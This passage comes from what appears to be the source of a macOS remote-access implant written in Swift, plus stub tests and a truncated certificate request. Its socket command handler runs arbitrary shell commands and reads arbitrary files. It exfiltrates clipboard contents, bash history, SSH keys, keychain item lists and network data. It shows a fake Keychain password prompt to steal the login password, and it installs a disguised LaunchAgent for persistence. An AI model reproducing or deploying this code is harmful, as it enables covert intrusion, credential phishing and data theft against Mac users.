sock.write(from: Combined) 153 | if Combined.count >= 8192{ 154 | try sock.write(from: "!EOF!") 155 | } 156 | 157 | } catch { 158 | try sock.write(from: "Cannot list this directory.") 159 | } 160 | 161 | } 162 | else if a! == "clipboard"{ 163 | do { 164 | let clipBoard = NSPasteboard.general 165 | var clipArray = [String]() 166 | 167 | for i in clipBoard.types ?? [] { 168 | let i2 = clipBoard.string(forType: i) ?? String() 169 | clipArray.append(i2) 170 | } 171 | let joined = clipArray.joined(separator: ", ") 172 | try sock.write(from: joined) 173 | if clipArray.count >= 8192{ 174 | try sock.write(from: "!EOF!") 175 | 176 | } 177 | 178 | } catch { 179 | try sock.write(from: "Error grabbing clipboard contents.") 180 | } 181 | 182 | 183 | } 184 | else if a! == "prompt"{ 185 | 186 | do { 187 | let proc = Process() 188 | proc.launchPath = "/usr/bin/osascript" 189 | let args : [String] = ["-e", ##"set popup to display dialog "Keychain Access wants to use the login keychain" & return & return & "Please enter the keychain password" & return default answer "" with title "Authentication Needed" with hidden answer"##] 190 | proc.arguments = args 191 | let pipe = Pipe() 192 | proc.standardOutput = pipe 193 | proc.launch() 194 | let rslts = pipe.fileHandleForReading.readDataToEndOfFile() 195 | let output = String(data: rslts, encoding: String.Encoding.utf8) 196 | try sock.write(from: output!) 197 | 198 | } catch { 199 | try sock.write(from: "[-] Cancel button clicked") 200 | 201 | } 202 | 203 | 204 | 205 | } 206 | 207 | else if a! == "connections"{ 208 | 209 | do { 210 | let task = Process() 211 | task.launchPath = "/usr/sbin/lsof" 212 | let args : [String] = ["-a", "-i4", "-i6", "-itcp"] 213 | task.arguments = args 214 | let pipe = Pipe() 215 | task.standardOutput = pipe 216 | task.launch() 217 | let results = pipe.fileHandleForReading.readDataToEndOfFile() 218 | let out = String(data: results, encoding: String.Encoding.utf8) 219 | try sock.write(from: out!) 220 | if out!.count >= 8192{ 221 | try sock.write(from: "!EOF!") 222 | 223 | } 224 | 225 | } catch { 226 | try sock.write(from: "Cannot get connection data.") 227 | } 228 | 229 | } 230 | 231 | else if a! == "check_osquery"{ 232 | do { 233 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 234 | try sock.write(from: "[+] osqueryi found! You can now run osquery modules to pull data.") 235 | } else { 236 | var respString = "[-] osqueryi not found on this host!" 237 | try sock.write(from: respString) 238 | } 239 | 240 | } catch { 241 | try sock.write(from: "Error pull osquery data back.") 242 | 243 | } 244 | } 245 | 246 | else if a! == "osquery_users"{ 247 | do { 248 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 249 | let task1 = Process() 250 | let task2 = Process() 251 | let pipe = Pipe() 252 | task1.launchPath = "/usr/bin/env" 253 | task2.launchPath = "/usr/local/bin/osqueryi" 254 | task1.arguments = ["echo", "select","*","from","users", "WHERE", "directory", "LIKE", "'%/Users/%';"] 255 | task1.standardOutput = pipe 256 | 257 | task2.arguments = ["--json"] 258 | task2.standardInput = pipe 259 | 260 | let output = Pipe() 261 | task2.standardOutput = output 262 | 263 | task1.launch() 264 | task2.launch() 265 | task2.waitUntilExit() 266 | 267 | let results = output.fileHandleForReading.readDataToEndOfFile() 268 | let out = String(data: results, encoding: String.Encoding.utf8) 269 | try sock.write(from: out!) 270 | if out!.count >= 8192{ 271 | try sock.write(from: "!EOF!") 272 | } 273 | 274 | } else { 275 | var respString = "[-] osqueryi not found on this host!" 276 | try sock.write(from: respString) 277 | 278 | } 279 | 280 | } catch { 281 | try sock.write(from: "Error pull osquery data back.") 282 | 283 | } 284 | 285 | 286 | } 287 | 288 | else if a! == "osquery_processinfo"{ 289 | do { 290 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 291 | let task1 = Process() 292 | let task2 = Process() 293 | let pipe = Pipe() 294 | task1.launchPath = "/usr/bin/env" 295 | task2.launchPath = "/usr/local/bin/osqueryi" 296 | task1.arguments = ["echo", "select","pid,name,path,cmdline","from","processes;"] 297 | task1.standardOutput = pipe 298 | 299 | task2.arguments = ["--json"] 300 | task2.standardInput = pipe 301 | 302 | let output = Pipe() 303 | task2.standardOutput = output 304 | 305 | task1.launch() 306 | task2.launch() 307 | task2.waitUntilExit() 308 | 309 | let results = output.fileHandleForReading.readDataToEndOfFile() 310 | let out = String(data: results, encoding: String.Encoding.utf8) 311 | try sock.write(from: out!) 312 | if out!.count >= 8192{ 313 | try sock.write(from: "!EOF!") 314 | } 315 | 316 | } else { 317 | var respString = "[-] osqueryi not found on this host!" 318 | try sock.write(from: respString) 319 | 320 | } 321 | 322 | } catch { 323 | try sock.write(from: "Error pull osquery data back.") 324 | 325 | } 326 | } 327 | 328 | else if a! == "osquery_osversion"{ 329 | do { 330 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 331 | let task1 = Process() 332 | let task2 = Process() 333 | let pipe = Pipe() 334 | task1.launchPath = "/usr/bin/env" 335 | task2.launchPath = "/usr/local/bin/osqueryi" 336 | task1.arguments = ["echo", "select","*","from","os_version;"] 337 | task1.standardOutput = pipe 338 | 339 | task2.arguments = ["--json"] 340 | task2.standardInput = pipe 341 | 342 | let output = Pipe() 343 | task2.standardOutput = output 344 | 345 | task1.launch() 346 | task2.launch() 347 | task2.waitUntilExit() 348 | 349 | let results = output.fileHandleForReading.readDataToEndOfFile() 350 | let out = String(data: results, encoding: String.Encoding.utf8) 351 | try sock.write(from: out!) 352 | if out!.count >= 8192{ 353 | try sock.write(from: "!EOF!") 354 | } 355 | 356 | } else { 357 | var respString = "[-] osqueryi not found on this host!" 358 | try sock.write(from: respString) 359 | 360 | } 361 | 362 | } catch { 363 | try sock.write(from: "Error pull osquery data back.") 364 | 365 | } 366 | } 367 | 368 | else if a! == "osquery_systeminfo"{ 369 | do { 370 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 371 | let task1 = Process() 372 | let task2 = Process() 373 | let pipe = Pipe() 374 | task1.launchPath = "/usr/bin/env" 375 | task2.launchPath = "/usr/local/bin/osqueryi" 376 | task1.arguments = ["echo", "select","*","from","system_info;"] 377 | task1.standardOutput = pipe 378 | 379 | task2.arguments = ["--json"] 380 | task2.standardInput = pipe 381 | 382 | let output = Pipe() 383 | task2.standardOutput = output 384 | 385 | task1.launch() 386 | task2.launch() 387 | task2.waitUntilExit() 388 | 389 | let results = output.fileHandleForReading.readDataToEndOfFile() 390 | let out = String(data: results, encoding: String.Encoding.utf8) 391 | try sock.write(from: out!) 392 | if out!.count >= 8192{ 393 | try sock.write(from: "!EOF!") 394 | } 395 | 396 | } else { 397 | var respString = "[-] osqueryi not found on this host!" 398 | try sock.write(from: respString) 399 | 400 | } 401 | 402 | } catch { 403 | try sock.write(from: "Error pull osquery data back.") 404 | 405 | } 406 | } 407 | 408 | else if a! == "osquery_wifi"{ 409 | do { 410 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 411 | let task1 = Process() 412 | let task2 = Process() 413 | let pipe = Pipe() 414 | task1.launchPath = "/usr/bin/env" 415 | task2.launchPath = "/usr/local/bin/osqueryi" 416 | task1.arguments = ["echo", "select","*","from","wifi_networks;"] 417 | task1.standardOutput = pipe 418 | 419 | task2.arguments = ["--json"] 420 | task2.standardInput = pipe 421 | 422 | let output = Pipe() 423 | task2.standardOutput = output 424 | 425 | task1.launch() 426 | task2.launch() 427 | task2.waitUntilExit() 428 | 429 | let results = output.fileHandleForReading.readDataToEndOfFile() 430 | let out = String(data: results, encoding: String.Encoding.utf8) 431 | try sock.write(from: out!) 432 | if out!.count >= 8192{ 433 | try sock.write(from: "!EOF!") 434 | } 435 | 436 | } else { 437 | var respString = "[-] osqueryi not found on this host!" 438 | try sock.write(from: respString) 439 | 440 | } 441 | 442 | } catch { 443 | try sock.write(from: "Error pull osquery data back.") 444 | 445 | } 446 | } 447 | 448 | else if a! == "osquery_runningapps"{ 449 | do { 450 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 451 | let task1 = Process() 452 | let task2 = Process() 453 | let pipe = Pipe() 454 | task1.launchPath = "/usr/bin/env" 455 | task2.launchPath = "/usr/local/bin/osqueryi" 456 | task1.arguments = ["echo", "select","*","from","running_apps;"] 457 | task1.standardOutput = pipe 458 | 459 | task2.arguments = ["--json"] 460 | task2.standardInput = pipe 461 | 462 | let output = Pipe() 463 | task2.standardOutput = output 464 | 465 | task1.launch() 466 | task2.launch() 467 | task2.waitUntilExit() 468 | 469 | let results = output.fileHandleForReading.readDataToEndOfFile() 470 | let out = String(data: results, encoding: String.Encoding.utf8) 471 | try sock.write(from: out!) 472 | if out!.count >= 8192{ 473 | try sock.write(from: "!EOF!") 474 | } 475 | 476 | } else { 477 | var respString = "[-] osqueryi not found on this host!" 478 | try sock.write(from: respString) 479 | 480 | } 481 | 482 | } catch { 483 | try sock.write(from: "Error pull osquery data back.") 484 | 485 | } 486 | } 487 | 488 | else if a! == "osquery_usersshkeys"{ 489 | do { 490 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 491 | let task1 = Process() 492 | let task2 = Process() 493 | let pipe = Pipe() 494 | task1.launchPath = "/usr/bin/env" 495 | task2.launchPath = "/usr/local/bin/osqueryi" 496 | task1.arguments = ["echo", "select","*","from","user_ssh_keys;"] 497 | task1.standardOutput = pipe 498 | 499 | task2.arguments = ["--json"] 500 | task2.standardInput = pipe 501 | 502 | let output = Pipe() 503 | task2.standardOutput = output 504 | 505 | task1.launch() 506 | task2.launch() 507 | task2.waitUntilExit() 508 | 509 | let results = output.fileHandleForReading.readDataToEndOfFile() 510 | let out = String(data: results, encoding: String.Encoding.utf8) 511 | try sock.write(from: out!) 512 | if out!.count >= 8192{ 513 | try sock.write(from: "!EOF!") 514 | } 515 | 516 | } else { 517 | var respString = "[-] osqueryi not found on this host!" 518 | try sock.write(from: respString) 519 | 520 | } 521 | 522 | } catch { 523 | try sock.write(from: "Error pull osquery data back.") 524 | 525 | } 526 | } 527 | 528 | else if a! == "osquery_failedlogins"{ 529 | do { 530 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 531 | let task1 = Process() 532 | let task2 = Process() 533 | let pipe = Pipe() 534 | task1.launchPath = "/usr/bin/env" 535 | task2.launchPath = "/usr/local/bin/osqueryi" 536 | task1.arguments = ["echo", "select","uid,","datetime(creation_time,'unixepoch')","as", "created,","failed_login_count,datetime(failed_login_timestamp,'unixepoch')","as","failed_time,", "datetime(password_last_set_time,'unixepoch')", "as", "pass_last_set", "from", "account_policy_data;"] 537 | task1.standardOutput = pipe 538 | 539 | task2.arguments = ["--json"] 540 | task2.standardInput = pipe 541 | 542 | let output = Pipe() 543 | task2.standardOutput = output 544 | 545 | task1.launch() 546 | task2.launch() 547 | task2.waitUntilExit() 548 | 549 | let results = output.fileHandleForReading.readDataToEndOfFile() 550 | let out = String(data: results, encoding: String.Encoding.utf8) 551 | try sock.write(from: out!) 552 | if out!.count >= 8192{ 553 | try sock.write(from: "!EOF!") 554 | } 555 | 556 | } else { 557 | var respString = "[-] osqueryi not found on this host!" 558 | try sock.write(from: respString) 559 | 560 | } 561 | 562 | } catch { 563 | try sock.write(from: "Error pulling osquery data back.") 564 | 565 | } 566 | 567 | } 568 | 569 | else if a! == "osquery_apps"{ 570 | do { 571 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 572 | let task1 = Process() 573 | let task2 = Process() 574 | let pipe = Pipe() 575 | task1.launchPath = "/usr/bin/env" 576 | task2.launchPath = "/usr/local/bin/osqueryi" 577 | task1.arguments = ["echo", "select","name,path","from","apps;"] 578 | task1.standardOutput = pipe 579 | 580 | task2.arguments = ["--json"] 581 | task2.standardInput = pipe 582 | 583 | let output = Pipe() 584 | task2.standardOutput = output 585 | 586 | task1.launch() 587 | task2.launch() 588 | task2.waitUntilExit() 589 | 590 | let results = output.fileHandleForReading.readDataToEndOfFile() 591 | let out = String(data: results, encoding: String.Encoding.utf8) 592 | try sock.write(from: out!) 593 | if out!.count >= 8192{ 594 | try sock.write(from: "!EOF!") 595 | } 596 | 597 | } else { 598 | var respString = "[-] osqueryi not found on this host!" 599 | try sock.write(from: respString) 600 | 601 | } 602 | 603 | } catch { 604 | try sock.write(from: "Error pulling osquery data back.") 605 | } 606 | 607 | } 608 | 609 | else if a! == "osquery_arpcache"{ 610 | do { 611 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 612 | let task1 = Process() 613 | let task2 = Process() 614 | let pipe = Pipe() 615 | task1.launchPath = "/usr/bin/env" 616 | task2.launchPath = "/usr/local/bin/osqueryi" 617 | task1.arguments = ["echo", "select","*","from","arp_cache;"] 618 | task1.standardOutput = pipe 619 | 620 | task2.arguments = ["--json"] 621 | task2.standardInput = pipe 622 | 623 | let output = Pipe() 624 | task2.standardOutput = output 625 | 626 | task1.launch() 627 | task2.launch() 628 | task2.waitUntilExit() 629 | 630 | let results = output.fileHandleForReading.readDataToEndOfFile() 631 | let out = String(data: results, encoding: String.Encoding.utf8) 632 | try sock.write(from: out!) 633 | if out!.count >= 8192{ 634 | try sock.write(from: "!EOF!") 635 | } 636 | 637 | } else { 638 | var respString = "[-] osqueryi not found on this host!" 639 | try sock.write(from: respString) 640 | 641 | } 642 | 643 | } catch { 644 | try sock.write(from: "Error pulling osquery data back.") 645 | } 646 | 647 | } 648 | 649 | else if a! == "osquery_knownhosts"{ 650 | do { 651 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 652 | let task1 = Process() 653 | let task2 = Process() 654 | let pipe = Pipe() 655 | task1.launchPath = "/usr/bin/env" 656 | task2.launchPath = "/usr/local/bin/osqueryi" 657 | task1.arguments = ["echo", "select","*","from","known_hosts;"] 658 | task1.standardOutput = pipe 659 | 660 | task2.arguments = ["--json"] 661 | task2.standardInput = pipe 662 | 663 | let output = Pipe() 664 | task2.standardOutput = output 665 | 666 | task1.launch() 667 | task2.launch() 668 | task2.waitUntilExit() 669 | 670 | let results = output.fileHandleForReading.readDataToEndOfFile() 671 | let out = String(data: results, encoding: String.Encoding.utf8) 672 | try sock.write(from: out!) 673 | if out!.count >= 8192{ 674 | try sock.write(from: "!EOF!") 675 | } 676 | 677 | } else { 678 | var respString = "[-] osqueryi not found on this host!" 679 | try sock.write(from: respString) 680 | 681 | } 682 | 683 | } catch { 684 | try sock.write(from: "Error pulling osquery data back.") 685 | } 686 | } 687 | 688 | else if a! == "osquery_loggedin"{ 689 | do { 690 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 691 | let task1 = Process() 692 | let task2 = Process() 693 | let pipe = Pipe() 694 | task1.launchPath = "/usr/bin/env" 695 | task2.launchPath = "/usr/local/bin/osqueryi" 696 | task1.arguments = ["echo", "select","*", "from","logged_in_users;"] 697 | task1.standardOutput = pipe 698 | 699 | task2.arguments = ["--json"] 700 | task2.standardInput = pipe 701 | 702 | let output = Pipe() 703 | task2.standardOutput = output 704 | 705 | task1.launch() 706 | task2.launch() 707 | task2.waitUntilExit() 708 | 709 | let results = output.fileHandleForReading.readDataToEndOfFile() 710 | let out = String(data: results, encoding: String.Encoding.utf8) 711 | try sock.write(from: out!) 712 | if out!.count >= 8192{ 713 | try sock.write(from: "!EOF!") 714 | } 715 | 716 | } else { 717 | var respString = "[-] osqueryi not found on this host!" 718 | try sock.write(from: respString) 719 | 720 | } 721 | 722 | } catch { 723 | try sock.write(from: "Error pulling osquery data back.") 724 | } 725 | } 726 | 727 | else if a! == "osquery_interfaces"{ 728 | do { 729 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 730 | let task1 = Process() 731 | let task2 = Process() 732 | let pipe = Pipe() 733 | task1.launchPath = "/usr/bin/env" 734 | task2.launchPath = "/usr/local/bin/osqueryi" 735 | task1.arguments = ["echo", "select","*", "from","interface_addresses;"] 736 | task1.standardOutput = pipe 737 | 738 | task2.arguments = ["--json"] 739 | task2.standardInput = pipe 740 | 741 | let output = Pipe() 742 | task2.standardOutput = output 743 | 744 | task1.launch() 745 | task2.launch() 746 | task2.waitUntilExit() 747 | 748 | let results = output.fileHandleForReading.readDataToEndOfFile() 749 | let out = String(data: results, encoding: String.Encoding.utf8) 750 | try sock.write(from: out!) 751 | if out!.count >= 8192{ 752 | try sock.write(from: "!EOF!") 753 | } 754 | 755 | } else { 756 | var respString = "[-] osqueryi not found on this host!" 757 | try sock.write(from: respString) 758 | 759 | } 760 | 761 | } catch { 762 | try sock.write(from: "Error pulling osquery data back.") 763 | } 764 | } 765 | 766 | else if a! == "osquery_keychainitems"{ 767 | do { 768 | if fileMan.fileExists(atPath: "/usr/local/bin/osqueryi"){ 769 | let task1 = Process() 770 | let task2 = Process() 771 | let pipe = Pipe() 772 | task1.launchPath = "/usr/bin/env" 773 | task2.launchPath = "/usr/local/bin/osqueryi" 774 | task1.arguments = ["echo", "select","label","type,path", "from","keychain_items;"] 775 | task1.standardOutput = pipe 776 | 777 | task2.arguments = ["--json"] 778 | task2.standardInput = pipe 779 | 780 | let output = Pipe() 781 | task2.standardOutput = output 782 | 783 | task1.launch() 784 | task2.launch() 785 | task2.waitUntilExit() 786 | 787 | let results = output.fileHandleForReading.readDataToEndOfFile() 788 | let out = String(data: results, encoding: String.Encoding.utf8) 789 | try sock.write(from: out!) 790 | if out!.count >= 8192{ 791 | try sock.write(from: "!EOF!") 792 | } 793 | 794 | } else { 795 | var respString = "[-] osqueryi not found on this host!" 796 | try sock.write(from: respString) 797 | 798 | } 799 | 800 | } catch { 801 | try sock.write(from: "Error pulling osquery data back.") 802 | } 803 | 804 | } 805 | 806 | 807 | else if a! == "addresses"{ 808 | do { 809 | let internalAddys = getaddy() 810 | let internalAddys2 = internalAddys.joined(separator: ", ") 811 | try sock.write(from: internalAddys2) 812 | 813 | } catch { 814 | try sock.write(from: "Error obtaining internal addresses.") 815 | } 816 | 817 | } 818 | 819 | else if a! == "listusers"{ 820 | do { 821 | let uname = NSUserName() 822 | let fMgr = FileManager.default 823 | let userDir = ("/Users/") 824 | let files = try fMgr.contentsOfDirectory(atPath: userDir) 825 | let joined = files.joined(separator: ", ") 826 | try sock.write(from: joined) 827 | 828 | } catch { 829 | try sock.write(from: "Error listing local users.") 830 | } 831 | 832 | } 833 | else if a! == "userhist"{ 834 | do { 835 | let uname = NSUserName() 836 | let histPath = URL(fileURLWithPath: "/Users/\(uname)/.bash_history", isDirectory: true) 837 | let histData = try Data(contentsOf: histPath) 838 | try sock.write(from: histData) 839 | if histData.count >= 8192{ 840 | try sock.write(from: "!EOF!") 841 | 842 | } 843 | 844 | } catch { 845 | try sock.write(from: "Cannot get user bash history file contents.") 846 | } 847 | 848 | } 849 | else if a! == "checksecurity"{ 850 | do { 851 | let myWorkspace = NSWorkspace.shared 852 | let processes = myWorkspace.runningApplications 853 | var procList = [String]() 854 | for i in processes { 855 | let str1 = "\(i)" 856 | procList.append(str1) 857 | } 858 | let processes2 = procList.joined(separator: ", ") 859 | try sock.write(from: processes2) 860 | if processes2.count >= 8192{ 861 | try sock.write(from: "!EOF!") 862 | 863 | } 864 | 865 | } catch { 866 | try sock.write(from: "Error listing running applications.") 867 | } 868 | 869 | } 870 | 871 | else if a! == "whoami"{ 872 | do { 873 | let usrname = NSUserName() 874 | try sock.write(from: usrname) 875 | 876 | } catch { 877 | try sock.write(from: "Error getting user context.") 878 | } 879 | 880 | } 881 | 882 | else if a! == "persist"{ 883 | 884 | do { 885 | let progName = CommandLine.arguments[0] 886 | let username = NSUserName() 887 | let fileMan = FileManager.default 888 | let newURL = URL(fileURLWithPath: "/Users/\(username)/.IT-provision/user-provision", isDirectory: false) 889 | try fileMan.createDirectory(atPath: "/Users/\(username)/.IT-provision", withIntermediateDirectories: true, attributes: nil) 890 | let binFiles = try fileMan.contentsOfDirectory(atPath: binPath) 891 | for file in binFiles { 892 | let x = "\(file)" 893 | let progName2 = progName.replacingOccurrences(of: "./", with: "",options: .literal) 894 | 895 | if x == progName2 { 896 | let getPath = URL(fileURLWithPath: "/\(binPath)/\(progName2)", isDirectory: false) 897 | let toPath = URL(fileURLWithPath: "/Users/\(username)/.IT-provision/user-provision") 898 | try FileManager.default.copyItem(at: getPath, to: toPath) 899 | 900 | } 901 | 902 | } 903 | 904 | let content = "\r".data(using: .utf8) 905 | 906 | try fileMan.createFile(atPath: "/Users/\(username)/Library/LaunchAgents/com.user.provision.plist", contents: content, attributes: nil) 907 | 908 | let plistURL = URL(fileURLWithPath: "/Users/\(username)/Library/LaunchAgents/com.user.provision.plist") 909 | 910 | let fHandle = try FileHandle(forWritingTo: plistURL) 911 | fHandle.seekToEndOfFile() 912 | fHandle.write(" \r".data(using: .utf8)!) 913 | fHandle.write(" Label\r".data(using: .utf8)!) 914 | fHandle.write(" com.user.provision\r".data(using: .utf8)!) 915 | fHandle.write(" ProgramArguments\r".data(using: .utf8)!) 916 | fHandle.write(" \r".data(using: .utf8)!) 917 | fHandle.write(" /Users/\(username)/.IT-provision/./user-provision\r".data(using: .utf8)!) 918 | fHandle.write(" \r".data(using: .utf8)!) 919 | fHandle.write(" RunAtLoad\r".data(using: .utf8)!) 920 | fHandle.write(" \r".data(using: .utf8)!) 921 | fHandle.write(" AbandonProcessGroup\r".data(using: .utf8)!) 922 | fHandle.write(" \r".data(using: .utf8)!) 923 | fHandle.write(" \r".data(using: .utf8)!) 924 | fHandle.write("".data(using: .utf8)!) 925 | fHandle.closeFile() 926 | 927 | let task = Process() 928 | task.launchPath = "/bin/launchctl" 929 | let args : [String] = ["load", "/Users/\(username)/Library/LaunchAgents/com.user.provision.plist"] 930 | task.arguments = args 931 | let pipe = Pipe() 932 | task.standardOutput = pipe 933 | task.launch() 934 | let results = pipe.fileHandleForReading.readDataToEndOfFile() 935 | let out = String(data: results, encoding: String.Encoding.utf8) 936 | 937 | try sock.write(from: "[+] Plist file written and persistence added!") 938 | 939 | } catch { 940 | try sock.write(from: "Error attempting LaunchAgent persistence.") 941 | } 942 | 943 | } 944 | 945 | else if a! == "unpersist"{ 946 | 947 | do { 948 | let username = NSUserName() 949 | let task = Process() 950 | task.launchPath = "/bin/launchctl" 951 | let args : [String] = ["unload", "/Users/\(username)/Library/LaunchAgents/com.user.provision.plist"] 952 | task.arguments = args 953 | let pipe = Pipe() 954 | task.standardOutput = pipe 955 | task.launch() 956 | let results = pipe.fileHandleForReading.readDataToEndOfFile() 957 | let out = String(data: results, encoding: String.Encoding.utf8) 958 | 959 | let fileMgr = FileManager.default 960 | let delPath = URL(fileURLWithPath: "/Users/\(username)/.IT-provision", isDirectory: true) 961 | let delPath2 = URL(fileURLWithPath: "/Users/\(username)/Library/LaunchAgents/com.user.provision.plist", isDirectory: false) 962 | try fileMgr.removeItem(at: delPath) 963 | try fileMgr.removeItem(at: delPath2) 964 | let result = "[+] Successfully removed launch agent persistence" 965 | try sock.write(from: result) 966 | } catch{ 967 | let result = "[-] Unable to remove launch agent persistence" 968 | try sock.write(from: result) 969 | } 970 | // 971 | } 972 | 973 | else if a! == "systeminfo"{ 974 | 975 | do { 976 | let osVer = ProcessInfo.processInfo.operatingSystemVersionString 977 | let osVer2 = "OS Version: \(osVer)" 978 | let upTime = ProcessInfo.processInfo.systemUptime 979 | let upTime3 = Date() - upTime 980 | let upTime2 = "Time of last boot: \(upTime3)" 981 | let procCount = ProcessInfo.processInfo.processorCount 982 | let procCount2 = "Processor Count: \(procCount)" 983 | let hostName = ProcessInfo.processInfo.hostName 984 | let hostName2 = "Hostname: \(hostName)" 985 | let uName = NSUserName() 986 | let uName2 = "Current username: \(uName)" 987 | let fullName = NSFullUserName() 988 | let fullName2 = "Full User Name: \(fullName)" 989 | let intAddresses : [String] = getaddy() 990 | let joinAddr = intAddresses.joined(separator: ", ") 991 | let fMgr = FileManager.default 992 | let userDir = ("/Users/") 993 | let files = try fMgr.contentsOfDirectory(atPath: userDir) 994 | let filesjoin = files.joined(separator: ", ") 995 | 996 | let flManager = FileManager.default 997 | let jamfpath1 = "/usr/local/bin/jamf" 998 | let jamfpath2 = "/usr/local/jamf" 999 | var jamChk = false 1000 | 1001 | if (flManager.fileExists(atPath: jamfpath1) || flManager.fileExists(atPath: jamfpath2)){ 1002 | jamChk = true 1003 | } 1004 | 1005 | var sysInfo = [String]() 1006 | sysInfo.append(osVer2) 1007 | sysInfo.append(upTime2) 1008 | sysInfo.append(procCount2) 1009 | sysInfo.append(hostName2) 1010 | sysInfo.append(fullName2) 1011 | sysInfo.append(uName2) 1012 | sysInfo.append("Internal Address(es):") 1013 | sysInfo.append(joinAddr) 1014 | sysInfo.append("Users found:") 1015 | sysInfo.append(filesjoin) 1016 | if jamChk == true{ 1017 | sysInfo.append("[+] jamf was found. Can run commands such as jamf checkJSSConnection (shows the CASPER server url) and jamf listUsers (lists local accounts.") 1018 | } 1019 | else{ 1020 | sysInfo.append("[-] jamf not found") 1021 | } 1022 | 1023 | let joined = sysInfo.joined(separator: ", ") 1024 | try sock.write(from: joined) 1025 | 1026 | } catch { 1027 | try sock.write(from: "Error getting system info.") 1028 | } 1029 | 1030 | } 1031 | else if a!.contains("cat"){ 1032 | 1033 | do { 1034 | 1035 | } 1036 | var a2 = a! 1037 | let replace = "cat " 1038 | if let changed = a2.range(of: replace) { 1039 | a2.removeSubrange(changed) 1040 | } 1041 | 1042 | let sshotPath = URL(fileURLWithPath: "\(a2)") 1043 | let fileData = try Data(contentsOf: sshotPath) 1044 | try sock.write(from: fileData) 1045 | if fileData.count >= 8192{ 1046 | try sock.write(from: "!EOF!") 1047 | } 1048 | 1049 | } 1050 | else { 1051 | 1052 | do { 1053 | var otherCmd = a! 1054 | let replaceMe = "shell " 1055 | if let otherCmd2 = otherCmd.range(of: replaceMe) { 1056 | otherCmd.removeSubrange(otherCmd2) 1057 | } 1058 | 1059 | let f = otherCmd.components(separatedBy: " ") 1060 | 1061 | var numCommands = f.count 1062 | 1063 | let lookup = Process() 1064 | lookup.launchPath = "/usr/bin/which" 1065 | 1066 | let arguments : [String] = ["\(f[0])"] 1067 | lookup.arguments = arguments 1068 | let pipe1 = Pipe() 1069 | lookup.standardOutput = pipe1 1070 | lookup.launch() 1071 | let g = pipe1.fileHandleForReading.readDataToEndOfFile() 1072 | var h = String(data: g, encoding: String.Encoding.utf8) 1073 | 1074 | var n = h!.trimmingCharacters(in: CharacterSet.newlines) 1075 | 1076 | var pathToUse = n 1077 | lookup.terminate() 1078 | let proc = Process() 1079 | proc.launchPath = pathToUse 1080 | let cmdArray = f.dropFirst() 1081 | var args = [String]() 1082 | 1083 | for i in cmdArray{ 1084 | args.append(i) 1085 | } 1086 | 1087 | proc.arguments = args 1088 | let pipe = Pipe() 1089 | proc.standardOutput = pipe 1090 | proc.launch() 1091 | let response = pipe.fileHandleForReading.readDataToEndOfFile() 1092 | let out = String(data: response, encoding: String.Encoding.utf8) 1093 | var x = out!.trimmingCharacters(in: CharacterSet.newlines) 1094 | try sock.write(from: x) 1095 | if x.count >= 8192{ 1096 | try sock.write(from: "!EOF!") 1097 | 1098 | } 1099 | 1100 | } 1101 | 1102 | catch { 1103 | try sock.write(from: "Error while attempting to execute shell command.") 1104 | } 1105 | 1106 | } 1107 | 1108 | } //while loop brace 1109 | 1110 | } //do brace 1111 | 1112 | catch let error { 1113 | print(error.localizedDescription) 1114 | } 1115 | 1116 | -------------------------------------------------------------------------------- /MacShellSwift/Tests/LinuxMain.swift: -------------------------------------------------------------------------------- 1 | import XCTest 2 | 3 | import MacShellSwiftTests 4 | 5 | var tests = [XCTestCaseEntry]() 6 | tests += MacShellSwiftTests.allTests() 7 | XCTMain(tests) 8 | -------------------------------------------------------------------------------- /MacShellSwift/Tests/MacShellSwiftTests/MacShellSwiftTests.swift: -------------------------------------------------------------------------------- 1 | import XCTest 2 | import class Foundation.Bundle 3 | 4 | final class MacShellSwiftTests: XCTestCase { 5 | func testExample() throws { 6 | // This is an example of a functional test case. 7 | // Use XCTAssert and related functions to verify your tests produce the correct 8 | // results. 9 | 10 | // Some of the APIs that we use below are available in macOS 10.13 and above. 11 | guard #available(macOS 10.13, *) else { 12 | return 13 | } 14 | 15 | let fooBinary = productsDirectory.appendingPathComponent("MacShellSwift") 16 | 17 | let process = Process() 18 | process.executableURL = fooBinary 19 | 20 | let pipe = Pipe() 21 | process.standardOutput = pipe 22 | 23 | try process.run() 24 | process.waitUntilExit() 25 | 26 | let data = pipe.fileHandleForReading.readDataToEndOfFile() 27 | let output = String(data: data, encoding: .utf8) 28 | 29 | XCTAssertEqual(output, "Hello, world!\n") 30 | } 31 | 32 | /// Returns path to the built products directory. 33 | var productsDirectory: URL { 34 | #if os(macOS) 35 | for bundle in Bundle.allBundles where bundle.bundlePath.hasSuffix(".xctest") { 36 | return bundle.bundleURL.deletingLastPathComponent() 37 | } 38 | fatalError("couldn't find the products directory") 39 | #else 40 | return Bundle.main.bundleURL 41 | #endif 42 | } 43 | 44 | static var allTests = [ 45 | ("testExample", testExample), 46 | ] 47 | } 48 | -------------------------------------------------------------------------------- /MacShellSwift/Tests/MacShellSwiftTests/XCTestManifests.swift: -------------------------------------------------------------------------------- 1 | import XCTest 2 | 3 | #if !canImport(ObjectiveC) 4 | public func allTests() -> [XCTestCaseEntry] { 5 | return [ 6 | testCase(MacShellSwiftTests.allTests), 7 | ] 8 | } 9 | #endif 10 | -------------------------------------------------------------------------------- /MacShellSwift/ca.csr: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE REQUEST----- 2 | MIICkDCCAXgCAQAwSzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAkNBMRUwEwYDVQQH 3 | DAxSZWR3b29kIENpdHkxGDAWBgNVBAoMD01hYyBFeHBlcnRzIExMQzCCASIwDQYJ 4 | 